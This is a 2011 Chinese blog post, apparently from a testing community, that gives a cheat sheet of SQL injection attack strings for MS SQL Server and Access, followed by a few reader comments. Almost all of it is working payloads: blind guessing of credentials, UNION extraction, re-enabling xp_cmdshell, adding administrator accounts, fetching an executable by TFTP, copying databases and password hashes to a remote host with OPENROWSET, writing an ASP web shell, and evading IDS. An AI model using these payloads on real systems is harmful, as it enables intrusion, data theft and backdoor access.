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标准SQL注入入侵语句

上一篇 / 下一篇  2011-05-11 16:49:03 / 个人分类:安全性测试

    1.判断有无注入点
    ; and 1=1 and 1=2
    2.猜表一般的表的名称无非是admin adminuser user pass password 等..
    and 0<>(select count(*) from *)
    and 0<>(select count(*) from admin) ---判断是否存在admin这张表
    3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
    and 0<(select count(*) from admin)
    and 1<(select count(*) from admin)
    4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
    and 1=(select count(*) from admin where len(*)>0)--
    and 1=(select count(*) from admin where len(用户字段名称name)>0)
    and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
    5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
    and 1=(select count(*) from admin where len(*)>0)
    and 1=(select count(*) from admin where len(name)>6) 错误
    and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
    and 1=(select count(*) from admin where len(name)=6) 正确
    and 1=(select count(*) from admin where len(password)>11) 正确
    and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
    and 1=(select count(*) from admin where len(password)=12) 正确
    6.猜解字符
    and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
    and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
    就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
    and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
    这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
    group by users.id having 1=1--
    group by users.id, users.username, users.password, users.privs having 1=1--
    ; insert into users values( 666, attacker, foobar, 0xffff )--
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
    UNION SELECT TOP 1 login_blank>_name FROM logintable-
    UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
    看_blank>服务器打的补丁=出错了打了SP4补丁
    and 1=(select @@VERSION)--
    看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
    and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
    判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
    and sa=(SELECT System_blank>_user)--
    and user_blank>_name()=dbo--
    and 0<>(select user_blank>_name()--
    看xp_blank>_cmdshell是否删除
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
    xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
    反向PING自己实验
    ;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
    加帐号
    ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
    创建一个虚拟目录E盘:
    ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
    访问属性:(配合写入一个webshell)
    declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
    爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
    and 0<>(select top 1 paths from newtable)--
    得到库名(从1到5都是系统的id,6以上才可以判断)
    and 1=(select name from master.dbo.sysdatabases where dbid=7)--
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
    and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
    (id,...)) 来暴出其他的字段
    and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
    依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
    and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
    ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
    ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
    得到WEB路径
    ;create table [dbo].[swap] ([swappass][char](255));--
    and (select top 1 swappass from swap)=1--
    ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
    ;use ku1;--
    ;create table cmd (str image);-- 建立image类型的表cmd
    存在xp_blank>_cmdshell的测试过程:
    ;exec master..xp_blank>_cmdshell dir
    ;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
    ;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
    ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
    ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
    ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
    exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
    exec master..xp_blank>_servicecontrol start, server
    ; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
    ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
    ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
    ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
    如果被限制则可以。
    select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
    查询构造:
    SELECT * FROM news WHERE id=... AND topic=... AND .....
    adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
    select 123;--
    ;use master;--
    :a or name like fff%;-- 显示有一个叫ffff的用户哈。
    and 1<>(select count(email) from [user]);--
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
    ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
    ;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
    ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
    ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
    上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
    通过查看ffff的用户资料可得第一个用表叫ad
    然后根据表名ad得到这个表的ID 得到第二个表的名字
    insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
    insert into users values( 667,123,123,0xffff)--
    insert into users values ( 123, admin--, password, 0xffff)--
    ;and user>0
    ;and (select count(*) from sysobjects)>0
    ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
    枚举出数据表名
    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
    这是将第一个表名更新到aaa的字段处。
    读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
    然后id=1552 and exists(select * from aaa where aaa>5)
    读出第二个表,一个个的读出,直到没有为止。
    读字段是这样:
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
    [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
    通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
    [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
    update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
    绕过IDS的检测[使用变量]
    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
    1、 开启远程_blank>数据库
    基本语法
    select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
    参数: (1) OLEDB Provider name
    2、 其中连接字符串参数可以是任何端口用来连接,比如
    select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
    3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
    基本语法:
    insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
    这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
    select * from master.dbo.sysdatabases
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
    select * from user_blank>_database.dbo.sysobjects
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
    select * from user_blank>_database.dbo.syscolumns
    复制_blank>数据库:
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
    复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
    insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
    得到hash之后,就可以进行暴力破解。
    遍历目录的方法: 先创建一个临时表:temp
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
    ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
    写入表:
    语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
    语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
    语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
    语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
    语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
    语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
    语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
    语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
    语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
    把路径写到表中去:
    ;create table dirs(paths varchar(100), id int)--
    ;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
    and 0<>(select top 1 paths from dirs)--
    and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
    ;create table dirs1(paths varchar(100), id int)--
    ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
    and 0<>(select top 1 paths from dirs1)--
    把_blank>数据库备份到网页目录:下载
    ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
    and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
    and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
    and 1=(select user_blank>_id from USER_blank>_LOGIN)
    and 0=(select user from USER_blank>_LOGIN where user>1)
    -=- wscript.shell example -=-
    declare @o int
    exec sp_blank>_oacreate wscript.shell, @o out
    exec sp_blank>_oamethod @o, run, NULL, notepad.exe
    ; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
    declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_blank>_oacreate scripting.filesystemobject, @o out
    exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
    exec @ret = sp_blank>_oamethod @f, readline, @line out
    while( @ret = 0 )
    begin
    print @line
    exec @ret = sp_blank>_oamethod @f, readline, @line out
    end
    declare @o int, @f int, @t int, @ret int
    exec sp_blank>_oacreate scripting.filesystemobject, @o out
    exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
    exec @ret = sp_blank>_oamethod @f, writeline, NULL,
    <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
    declare @o int, @ret int
    exec sp_blank>_oacreate speech.voicetext, @o out
    exec sp_blank>_oamethod @o, register, NULL, foo, bar
    exec sp_blank>_oasetproperty @o, speed, 150
    exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
    waitfor delay 00:00:05
    ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
    xp_blank>_dirtree适用权限PUBLIC
    exec master.dbo.xp_blank>_dirtree c:\
    返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
    create table dirs(paths varchar(100), id int)
    建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
    insert dirs exec master.dbo.xp_blank>_dirtree c:\
    只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!


TAG:

引用 删除 changlsh   /   2011-09-20 14:35:31
mark
jenery的个人空间 引用 删除 jenery   /   2011-05-18 15:20:33
5
"><s>装饰你的梦</s&. 引用 删除 andyfly_001   /   2011-05-18 14:08:07
5
tanjiang的个人空间 引用 删除 tanjiang   /   2011-05-18 10:42:33
5
Live for Fighting 引用 删除 fly_away   /   2011-05-17 12:31:17
5
凌寒 引用 删除 linghan1991   /   2011-05-17 10:25:23
偶要好好学习学习
yjiong0217的个人空间 引用 删除 yjiong0217   /   2011-05-12 09:18:11
这个必须好好学习
燕子的个人空间 引用 删除 ryanqin2008   /   2011-05-12 09:07:23
不错哦!
werm520的个人空间 引用 删除 werm520   /   2011-05-11 20:33:49
mark
 

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congyu15

自动化测试工具学习ING,做了近两年的手工测试,对于自动化测试一知半解。希望同行的兄弟姐妹们能够帮助我、指导我学习自动化测试工具,你们的一字一句都是我成长的源泉。感谢你们的无私奉献、乐此不疲!

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